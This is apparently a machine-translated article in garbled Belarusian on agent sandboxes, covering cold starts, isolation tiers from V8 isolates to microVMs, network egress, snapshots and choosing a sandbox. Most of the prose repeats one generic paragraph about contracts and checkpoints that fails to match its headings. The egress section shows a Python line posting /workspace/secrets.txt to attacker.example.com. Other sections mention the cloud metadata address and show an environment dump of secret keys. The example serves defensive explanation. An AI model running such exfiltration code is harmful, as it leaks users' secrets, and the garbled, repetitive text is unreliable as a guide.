Практычныя прытамулкі: 5 рэчаў, якія кожны інжынер AI должен знаць пра сандбоксы агентаў
Практычныя прыказкі: 5 рэчаў, якія кожны інжынер AI должен знать пра «песочніцы» агентаў: контракты, перакрытчыкі і слоты для коду для команд, якія використоўваюць гэты патэрн.
Наступныя прытамлівкі паказваюць практычны шлях для розумэння тэмы «5 галоўных пунктав, якія кожны інжынер AI должен знаць пра агентскія сэндбоксы». Акцэнт ставіцца на контракты, перакананняя та месцы для коду, а не на мотывацыйныя аспекты. Калі працуеце на стадзіі адгляду, спачатку запісайце контракт: неабяжныя даны, сігнал успеху та тое, што выканаецца у разы ўзельнага нявыполнення. Такі чарткі дапамагае заліцьваты пазнейшыя змены ў кодзе. Спрыймайце гэтую стадзію як контракт межа данымі і перакананымі выходамі. Дайце назву рэзультатам, задаце критэрыя успеху та не падтрымайце беззвучнае частковае выполнення.
Think → Execute → Wait → Think → Execute → Wait
1. Чысла, атрыбутаваныя стадзіі «холоднага запуску», рэдка калі апрантуюць рэальнага агента
Чысла, атрыбутаваныя стану «холаднага запуску», рэдкасцю даюць наявныя найкращыя рэзультаты, калі іх спрыяваць як меркаваную величыну. Запісаце адны ідеальны прыклад роботы, адну справу з бягам і прыметкі па поверненню да пачатковага стану пры розширэнні масштаба. Запісвайце часы выконання і косты токенаў або запытак праза функцыйнае рэзультаты. Відкрытыя данні пра косты з самага пачатку запобегаюць неспакоўным рахункам, калі процес пераходзіць з дэмавайнага режыма ў спяльныя среды. Храніце стан графа ў простам і типаваным формате. Вярнутыя структуры маскуюць інфармацыю пра тое, який вузел запісаў канкрэтны поле, і спакшваюць продажчыку роботу пасля перарываў.
Python
Node.js
npm packages
Python packages
environment variables
filesystem mounts
networking
data-science libraries
browser automation
Git
compilers
Тэст на порожній цыкл
Этап тэставання з порожнім циклам працюе найкраща, калі яго розглядаць як меркаваемую плошчу. Запісаце адна ідеальная версія роботы, адзін прыклад неудачы і запіс працэў павернення да пярвоначальнага стану пры расшырэнні масштаба. Храніце настройкі паза кодам прыемленае. Файлы сераўіснага сэрвісу, базы секретных даных і флагі функцыйяў должны знаходзіцца ў аднам месцы, куды аператары можаць адбавляць контроль без неабяжнага чытання всіх дадзеных. Храніце стан графа ў простам і типаваным формате. Вярнутыя структуры дадзеных маскуюць інфармацыю пра тое, який вузел запісаў канкрэтны поле, і спакоююць продажнае воскресленне пасля перерываў.
time ./start-minimal-vm
150 ms
import pandas as pd
import numpy as np
import requests
data = pd.read_csv("dataset.csv")
print(data.describe())
print(2 + 2)
Чаму агенты пагаршуюць ситуацію
Агенты The Why дапамагаюць гэтам этапу працаваць наяўней, калі яго спрыяваць як мерыемую паверхню. Зафіксавайце адны ідеальны прыклад, адзін кейс неудачы і запіс пра вярнэнне да пачатковага стану перш чым расширваць масштабы. Документавайце як шлях успеху, так і шлях вяснавання проблемы. Перапрыбуткі, людзкія контралі і обработка некоректных паведамленняў ёсць частью продукту, а не пасляднім дапрацоўкам. Храніце стан графа ў простым і типаваным формате. Вярнутыя структуры дакументаў маскуюць інфармацыю пра тое, який вузел запісаў кожны поле, і спакшваюць продовжэнне роботы пасля перарываў. Агенты The Why дапамагаюць гэтам этапу працаваць наяўней, калі яго спрыяваць як мерыемую паверхню. Зафіксавайце адны ідеальны прыклад, адзін кейс неудачы і запіс пра вярнэнне да пачатковага стану перш чым расширваць масштабы. Спрыявайце гэтам этапу як кантракту межаў вхідных дадзеных і перакананых выходных рэзультатаў. Даці назвы артыфактам, задаць критэрыя успеху і адмовіцца ад беззвучнага частковага завершэння роботы.
Agent
↓
Create sandbox
↓
Initialize runtime
↓
Run command
↓
Destroy sandbox
Agent
↓
Create sandbox
↓
Initialize runtime
↓
Run command
↓
Destroy sandbox
Лепшая архітектура: «тэплыя» сандбоксы
Для кращай архітектуры на стадыі разработкі неабяжна прадзеўначыць вхідныя даны, адпаведальнага за кожны крок і критэрыя завершэння пры змены коду. Аператары должны магчымае перзапускать крок з вядомай точкі контролю, не падозрываючы прыхованы стан системы. Запісваць час выконання і вартасць токеноў або запытак праза функцыйнае рэзультат. Відкрытая інформацыя пра вартасці запобегае неспакоўным рахункам, калі процес пераходзіць з дэмовай среды ў спакульную. Неабяжна атрымаць пашчатковую згоду чалавека для тых крокаў, якія выкарыстоўваюць грошы або зміняюць даны у працоўный сервіс. Працэс складання коду сам по сабе не гарантуе полнайасці бізнес-процэсаў.
┌── Warm Worker
Agent ───────────┼── Warm Worker
├── Warm Worker
└── Warm Worker
Што трэба мерыць
На стадії «Што трэба змерыць» неабяжна практычна вказаць інпуты, адпавядающага за крок адпаведальнага, а таксама крэтынія выходу пры змены коду. Аператары должны магчымаць перзапуск кроку з вядомай точкі контролю, не падозрываючы схованы стан. Конфігурацыю трэба захаваць пазнаходзіцца за межамы коду прыемленае. Файлы сераўнавання, хранільнікі секрэтных дадзеных і флагі функцый належыць у аднам месца, якое аператары можаць пераглядаць, не чытаяўшы весь лянцуг. Пры выкананні дзеяння, якія купуюць грошы або зменяюць данні ў працэсе, неабяжна выкарыстоўваць людскія празгляды. Прыемленае на час кампілявання не ўзроўнавалася з повнасцю бізнес-процэсаў.
"How quickly can Linux boot?"
Agent request
↓
Sandbox allocation
↓
Filesystem ready
↓
Runtime ready
↓
Dependencies ready
↓
Network ready
↓
First command executed
2. Безпека сандбокса залежыць ад таго, што вы дзеліцеся з сваім суседам
Для стадіі, дзе безпека 2 Sandbox залежыць, перад змянайом код неабходна ясная прызначэння вхідных дадзеных, адміністратара крока і крэтэрыяў завершэння. Аператары должны магчымае перайсці кіму-то з вядомага пункта контролю, не спрабоўваючы здагадвацца пра схованы стан. Неабходна аддзеўнаваць як шлях успеху, так і шлях вярнення да нормы. Перапрыбуткі, людзкія пераказы і обработка некоректных паведамленняў є часткай продукту, а не яго пазнейшай дапрацоўкі. Неабходна людзкая аправарэнне для тых крокаў, якія выкарыстоўваюць грошы або зміняюць даны праўай працы. Компіляцыйныя налашчэнні не є падставай для стверджэння, што продукт ўсёшырокі. Для стадіі, дзе безпека 2 Sandbox залежыць, перад змянайом код неабходна ясная прызначэння вхідных дадзеных, адміністратара крока і крэтэрыяў завершэння. Аператары должны магчымае перайсці кіму-то з вядомага пункта контролю, не спрабоўваючы здагадвацца пра схованы стан. Спрыяйце цій стадіі як даговору межа вхідных дадзеных і перакананых выходных рэзультатаў. Назвайце всі элементы, задаць крэтэрыяў успеху і не падпісвайцеся на частковае завершэння без паведамлення.
python generated_code.py
Host Linux Kernel
│
┌─────┴─────┐
│ │
Agent A Agent B
Container Container
Спектр ізоляцыі ў «песочнай яме»
Калі працуеце над стадзіяй «Спектр ізоляцыі ў „песочнай яме“», спачатку запісуйце неабходныя умовы: трэбуемыя данні, сигнал успеху та тое, што выходзіць пад частым неудачам. Такі список дапамагае залишацца чыстым пад час пазнейшых змян у кодзе. Запісвайце час выконання та вартасць токеноў або запытанняя пры кожным функцыйнальным рэзультате. Відразлівая вартасць з самага пачатку запобегае неспакою, калі праця пераходзіць з дэмавайнага режыма ў спяльныя сераўеры. Стварайце контрольныя пункты пасля дорогіх крокаў. Програма не должна зноў нараховваць плата за той самы вызов LLM, калі аператар праканае пазнейшы вузел.
Ранг 1: V8 Isolates і WebAssembly
Калі працуеце над стадзіяй Tier 1 V8 Isolates, спачатку запісайце контракт: неабяжлівыя вхідныя даны, сигнал успеху і тое, што выходзіць у разе частковага абякання. Такій чэк-ліст дапамагае заставаць будучыя змены коду чыстымі. Зберагаеце настройкі пазначыней ад коду прыемлена. Файлы сераўіснага сэрвісу, храненні секретных данных і флагі функцыйяў должны знаходзіцца ў аднам месцы, куды аператары можаюць адбавляць аудыт без неабяжлівага чытання всей структуры. Стварайце контрольныя пункты пасля дорогіх крокаў. Функцыя вярнення роботы не должна занова ставіць плату за той самы вызыв LLM, калі аператар перапрыяўляе роботу да наступнага вузла.
~milliseconds
gcc main.c
return userInput.toUpperCase();
Tier 2: Стандартныя контэйнеры OCI
Калі працуеце над стадзіяй Tier 2 Standard OCI, спачатку запісайце умовы кантракту: неабяжлівыя данні, сігнал успеху і тое, што выходзіць у разе частковага нявыпання. Такі список контроля дапамагае заліцьваты змяны ў кодзе чыстымі. Документавайце як шлях успеху, так і шлях вяснавання. Перапрыбуткі, людзкія перакрыцця і обробка некоректных паведамленняў ёсць частью продукту, а не пасляднім дапрацоўкам. Стварайце контрольныя пункты пасля дорогіх крокаў. Система вярнення не павінна зноў нараховваць плата за той самы вызыв LLM, калі аператар перапрыбуе пазнейшы вузел. Калі працуеце над стадзіяй Tier 2 Standard OCI, спачатку запісайце умовы кантракту: неабяжлівыя данні, сігнал успеху і тое, што выходзіць у разе частковага нявыпання. Такі список контроля дапамагае заліцьваты змяны ў кодзе чыстымі. Спрыятлівае ставленне да гэтай стадзіі як да кантракту межа даннімі і перакананымі выходамі. Дайце назвы артыфактам, задаць тэсты на успех і не падтрымвайце беззвучнае частковае завершэння.
Docker
containerd
runc
Kubernetes Pods
Process isolation
Filesystem isolation
Resource limits
Network namespaces
python
node
gcc
git
bash
Рагул 3: Ядры ў прасторе пользователя
Этап ядроў ў прасторе пользователя Рагул 3 работае наякша, калі яго спрыяваць як мерыемую паверхню. Запісаце адна ідеальная транскрыпцыя, адзін прыклад неудачы і прыметкі па абратанню рэшыцьяй пры расширэнні масштаба. Запісвайце часы выканання і кост токенаў або запытаў праза рэзультаты функцыйнасці. Відразлівасць костаў з самага пачатку запобегае неспакойным рахункам, калі працэс пераходзіць з дэмаверсіі ў спяльныя среды. Храніце стан графаў у простай форме з чыстым типам дадзеных. Вярнутыя блокі маскуюць інфармацыю пра тое, калькі вузел запісаў калькі поле, і спакшваюць продажчэй работу пасля перарываў.
Agent
↓
Container
↓
User-space kernel
↓
Host kernel
↓
Hardware
Рагул 4: Мікро-ВМ
Этап MicroVM-ў рангу 4 працюе наякша, калі яго спрыяваць як мерыемую паверхню. Зафіксавайце адна ідеальная транскрыпцыя, адзін прыклад неудачы і запіс пра вярнэнне да пачатковага стану, перш чым расширваць сферу дзеяння. Зберагаюце настройкі пазыроўна ад коду прыемлівання. Файлы сяродавішча, хранільнікі секрэтных дадзеных і флагі функций должны знаходзіцца ў аднам месцы, куды аператары можаць адбавляць контроль без неабяжнага чытання всіх дадзеных. Зберагаюце стан графа ў простам і типаваным формате. Вярнутыя блокі маскуюць інфармацыю пра тое, який вузел запісаў канкрэтны поле, і спакоююць продажчыку пасля перарываў.
Agent
↓
Guest Linux Kernel
↓
Virtual Machine Boundary
↓
Host Kernel
↓
Hardware
3. Выход у сеть можа быць больш небяпечным, чым выхад з сандбокса
3 Network egress можа працаваць наякнайэфектывней, калі яе розглядаць як вимерную паверхню. Зберагачыце адны ідеальны прыклад роботы, адзін прыклад неудачы і запіс пра вярнэнне да пачатковага стану перш чым расширваць сферу дзеяння. Дакументавайце як шлях успеху, так і шлях вярнэння да нормальнага стану. Перапрыбуткі, людзкі контроль і обработка некоректных паведамленняў є частью продукту, а не чымсь, што дадзецца дагэўна пазніяй. Робіце стан графа простым і типавым. Вкладзеныя блокі маскуюць інфармацыю пра тое, канферы ўзел напісаў канкрэтны поле, і спакоююць працу пасля перарываў. 3 Network egress можа працаваць наякнайэфектывней, калі яе розглядаць як вимерную паверхню. Зберагачыце адны ідеальны прыклад роботы, адзін прыклад неудачы і запіс пра вярнэнне да пачатковага стану перш чым расширваць сферу дзеяння. Разглядайце гэты этап як кантракт межа вхіднымі даннымі і перакананымі выходнымі рэзультатамі. Даўайце назвы артыфактам, задаюце критэрыя успеху і адмовляйцеся ад мовчанкавага частковага завершэння.
import requests
requests.post(
"https://attacker.example.com/upload",
files={"data": open("/workspace/secrets.txt", "rb")}
)
Read file
↓
HTTP request
↓
Attacker receives data
Апасны канецчык метаданных
Для стадіі небяспечных канцэнтраў мета-данных неабходна прадзефінаваць вхідныя даны, адпаведальную особу за выкананне крока і критэрыя завершэння пры зміне коду. Аператары должны магчыма было перзапускаць крок з вядомай точкі контролю, не падозрываючы прыхованы стан. Запісваць час выканання і вартасць токенаў або запытак праза функцыйнае рэзультат. Відкрытая візуалізацыя вартасцей запобегае неспакоўным рахункам, калі процес пераходзіць з дэмавай версіі ў спяльныя среды. Заставіць людзкую апраўду на тых кроках, якія витрачаюць грошы або зменяюць даны у працэйнай среде. Праця ў час складання коду не абавесцівае повнайсткі рэалізацыі бізнес-функцыйяў.
169.254.169.254
Стандартная заборона должна быць вашым пачатковым пунктом
За замовчанням паведамленне працэйкі гэта мусіць быць на стадзіі «stage»; перш чым зменяць код, неабходна адзначыць вхідныя даны, власніка крока і критэрыя завершэння. Аператары должны магчымаць перзапуск крока з вядомай точкі контролю, не падозрываючы прыхованы стан. Конфігурацыю трэба захаваць пазнаходзячыся за межамі коду прыемліцеля. Файлы сераўнавання, хранальнікі секрэтных дадзеных і флагі функцый крануцца ў аднам месцы, якое аператары можаць пераглядаць, не чытаючы весь ланцуг задач. Прызначыць людскія апраўдкі для рэлей, якія витрачаюць грошы або зменяюць даны у працэйнай сітцы. Падключэння пад час компілявання не ўзроўнаўцяеся з полным адпрацоўкам бізнес-процэсаў.
ALLOW INTERNET
DENY ALL
Не прасачвайце зменныя сераўнавання
Для стадіі среды «Не прасачваць» неабяжна ўзначыць вхідныя даны, адпаведальнага за крок і крэтырыя завершэння пры зміне коду. Аператары должны магчымаць перзапуск кроку з вядомай точкі контролю, не спрабоўваючы здагадвацца пра схованы стан. Неабяжна задокументаваць як шлях успеху, так і шлях вярнення да нормы. Перапрыбуткі, людзкія пераказы і обробка некоректных паведамленняў є часткай продукту, а не чымсь, што дадаецца пазней. Неабяжна застосавіць людзкую апраўдку для тых крокоў, якіе выкарыстоўваюць грошы або зміняюць даны ў працэсе виробніцтва. Працэсы, якія выкананы ў часе компіляцыі, не є падтверджэнням полной готовасці продукту. Для стадіі среды «Не прасачваць» неабяжна ўзначыць вхідныя даны, адпаведальнага за крок і крэтырыя завершэння пры зміне коду. Аператары должны магчымаць перзапуск кроку з вядомай точкі контролю, не спрабоўваючы здагадвацца пра схованы стан. Спрыяйце таму, каб гэтае стадія выступала як контракт межа вхіднымі данымі і перакананымі выходнымі рэзультатамі. Даўце назвы всім элементам, узначыць крэтырыя успеху і не падтрымайце безсловеснае частковае завершэння кроку.
export OPENAI_API_KEY="super-secret-key"
export AWS_SECRET_ACCESS_KEY="..."
export DATABASE_PASSWORD="..."
env
4. Актуальна інформацыя пра стане можа быць важлівейшая чым час запуску
Калі працуеце з 4 актуальнымі кадрамі стана, спачатку запісайце умовы: неабяжлівыя данні, сигнал успеху і тое, што выходзіць у разе частковага невыпання. Такі список дапамагае заліцвачыць змяны коду. Запісуйце часы выконання і косты токеноў або запытак па боку функцыйнальных рэзультаатаў. Відразлівасць костоў з самага пачатку запобегае неспакойным рахункам, калі процес пераходзіць з дэмаверсіі ў спяльныя среды. Ствараюце контрольныя пункты пасля дорогіх крокаў. Функцыя вярнення не должна занова нарахоўваць косты той самай вызову LLM, калі аператар прабуюць зноў выконаць пазнейшы вузел.
Turn 1
Read repository
Turn 2
Run tests
Turn 3
Tests fail
Turn 4
Edit code
Turn 5
Run tests again
Turn 6
Build application
/workspace
├── src/
├── package.json
├── tests/
└── node_modules/
Keep VM alive
↓
Fast
↓
Expensive
Destroy VM
↓
Cheap
↓
Slow
Увядзенне кадраў стана
Калі працюеце над этапам дзе ствараюцца „снэпшоты“, спачатку запісайце умовы контракту: неабяжлівыя даны, сігнал успеху і тое, што выходзіць пад частыя неудачы. Такі список контроля дапамагае заліцвачыць змяны ў кодзе пасля таго. Храніце настройкі за межамі коду прыемліка. Файлы сераўнавання, хранальнікі секрэтных данных і флагі функцыйяў должны знаходзіцца ў аднам месцы, куды аператары можаюць адбавіць аудыт без неабяжлівага чытання всей структуры. Стварайце контрольныя пункты пасля дорогіх крокаў. Програма для продакцыі не должна занова ставіць плату за той самы вызов LLM, калі аператар перапрыяўляе роботу да наступнага элемента.
Running Agent
↓
Memory + State
↓
Snapshot
↓
Object Storage
VM pauses
↓
Snapshot saved
↓
Resources released
Request
↓
Restore snapshot
↓
Continue execution
Fast resume
+
Persistent state
+
Lower idle cost
5. Ўжыце чатырнаць вопыта, каб выбраць свой сэндбокс
Калі працуеце заэтапна, яка складаецца з 5 пытак «Іспользуй чатырнаць характерыстыкаў», спачатку запісайце контракт: неабходныя даны, сигнал успеху і тое, што выканаецца у разе частковага нявыполнення. Такі список пераканальвае ў тым, што пасляэйшныя змены коду будуць чыстымі. Документавайце як шлях успеху, так і шлях вярнення да нормальнага стану. Перапрыбуткі, людзкія контрольныя пункты і обработка некоректных паведамленняў є частью продукту, а не элементамі пасляэйшай дапрацоўкі. Зробіце пераканальну пазначку пасля дорогіх крокаў. Система вярнення не павінна знову ставіць плату за той самы вызов LLM, калі аператар перапрыбуе пазнейшы вузел. Калі працуеце заэтапна, яка складаецца з 5 пытак «Іспользуй чатырнаць характерыстыкаў», спачатку запісайце контракт: неабходныя даны, сигнал успеху і тое, што выканаецца у разе частковага нявыполнення. Такі список пераканальвае ў тым, што пасляэйшныя змены коду будуць чыстымі. Спрыймайце гэты этап як контракт між вхіднымі данымі і перакананымі выходнымі рэзультатамі. Дайце назвы артыфактам, задаць параметры пераканання успеху і не падтрымайце тыхню частковую завершэння працы.
Пытанне 1: Какі язык патрэбны агенту?
Запытанне 1: Какі ўровень мовы найкраща падходзіць, калі яго розглядаць як вимерную характэрыстыку? Запісайце адна ідеальная версія, адзін прыклад неудачы і прыметку па поверненню да попярэдня стану пры расшырэнні масштаба. Запісвайце часы виконання і косты токеноў або запыткаў па боку ад функцыйнальных рэзультатаў. Візуабельнасць костаў з самага пачатку запобегае неспакойным рахункам, калі процес пераходзіць з дэмовай среды ў спяльнаныя сераўеры. Храніце стан графа ў простам і типаваным формате. Вярнутыя структуры данных маскуюць інфармацыю пра тое, який вузел запісаў кожны поле, і спакшваюць продажчык роботы пасля перерываў.
const result = calculateSomething(input);
python analysis.py
gcc main.c
git clone ...
npm install ...
Запытанне 2: Чы можна даверяць коду?
Задача 2: Этап працюе найкраща, калі яго можна расследзіць як вимерную паверхню. Зафіксавце адна «золатая» транскрыпцыя, адзін прыклад неудачы і запіс пра вярнэнне да пачатковага стану перш чым расширваць масштабы. Зберагаеце настройкі пазначыней ад коду прыемліка. Файлы сераўнавальнага сяродовішча, хранілішчы секрэтных дадзеных і флагі функцый должны знаходзіцца ў аднам месцы, куды аператары можаць адбавляць контроль без неабяжнага чытання всіх дадзеных. Зберагаеце стан графа ў простам і типаваным формате. Вярнутыя блокі дадзеных маскуюць інфармацыю пра тое, який вузел запісаў канкрэтны поле, і спакойваюць працу пасля перерываў.
Внутршній агент разработчыка
Этап агента для внутрэшніх разработчыкаў працюе наякомна лепша, калі яго спрыяваць як мерыемую паверхню. Зберагучы адна ідеальная транскрыпцыя, адзін прыклад неудачы і запіс пра вярнэнне да пачатковага стану, перш чым расширваць сферу дзеяння. Дакументаваць трэба як успешны, так і патовы шляхі рашэння проблем. Перапрыбуткі, людзкія контралі і обработка некоректных паведамленняў ёсць часткай продукту, а не пасляднім дапрацоўкам. Станы графа трэба падтрымваць у простым і типаванам формате. Вярнутыя структуры данных маскуюць інфармацыю пра тое, який вузел запісаў кожны поле, і спакшуюць продовжэнне роботы пасля перарываў. Этап агента для внутрэшніх разработчыкаў працюе наякомна лепша, калі яго спрыяваць як мерыемую паверхню. Зберагучы адна ідеальная транскрыпцыя, адзін прыклад неудачы і запіс пра вярнэнне да пачатковага стану, перш чым расширваць сферу дзеяння. Спрыяваць гэты этап як кантракт межа вхіднымі даннымі і перакананымі выходнымі рэзультатамі. Даць назвы артыфактам, задаць критэрыя успеху і не падзеўляцца на частковае завершэння без паведамлення.
Developer
↓
Agent
↓
Hardened container
Публічны агент для калькуляцыі пакуяў
Для стадіі агента з мнаглымі корыстувачамі у публічным режыме, пры змене коду неабходна практычна вялікасць інпутаў, адпаведальнага за крок і крэатарыяў выходу. Аператары должны магчымае перзапускнуць крок з вядомага пункта контролю, не спрабоўваючы з’ясаваць захаваны стан. Запісваюць час выконання і кост токенаў або запытаў праза функцыйнае рэзультат. Відкрытыя данні пра косцы запобегаюць неспакоўным рахункам, калі процес пераходзіць з дэмавай версіі ў спакоўныя сераўысы. Апраўленне людзьмі трэба атрымліваць там, дзе выконуюцца грошовыя расходы або зміняюцыся данні ў працоўным режыме. Прыєднанне элементаў у час компілявання не значыць, што процес ўжо завершаны з пагляду бізнеса.
User
↓
LLM
↓
Generated Code
↓
Sandbox
Запыт 3: Как выглядае ваш/вааша профіль O?
Для запитання 3 «Што такое этап?» неабяжна ўзначыць вхідныя даны, адпаведальнага за шаг і крэтыяры завершэння пры зміне коду. Аперацыйныя працавнікі павінны магчымае перазапускаць шаг з вядомай точкі контролю, не спрабоўваючы здогадвацца пра схованы стан. Конфігурацыю трэба залічыць праза код аплікацыі. Файлы сераўнавання, храненні секрэтных данных і флагі функций павінны знаходзіцца ў адном месцы, якое працавнікі можуць пераглядаць, не чытаючы весь ланцуг задач. Пры выконанні операцый, якія коштуюць грошей або зменяюць даны ў працэсе, неабяжна ўключыць людзкія празгляды. Падключэння на час компіляцыі не ўзначае повнасці бізнес-процэсу.
for x in data:
calculate(x)
fork()
fork()
fork()
read()
write()
open()
close()
network()
network()
network()
Запитанне 4: Чы трэба спецыяльны кернель для гасцоў?
Для пытання 4: чы робіце вы стадіяванне, вядомае визначэнне інпутаў, адпаведальнага за крок і крэтарыяў завершэння пры змены коду? Аперацыйныя працавнікі должны магчымае перзапускаць крок з вядомай точкі контролю, не спрабоўваючы здагадвацца пра схованы стан. Дакументавайце як шлях успеху, так і шлях вярнення. Перапрыбуткі, людзкія пераказы і обработка некоректных паведамленняў ёсць часткай продукту, а не пасляднім дапрацоўкам. Апавяржэнне чалавека неабходнае для тых крокоў, якія выкарыстоўваюць грошы або зміняюць даны праўдзівай роботы. Працэс кампіляцыі не ўзроўнаважваецца з повнасцю бізнес-функцыяў.
Custom kernel modules
Specialized Linux environments
Strong multi-tenant isolation
Hardware-level virtualization boundaries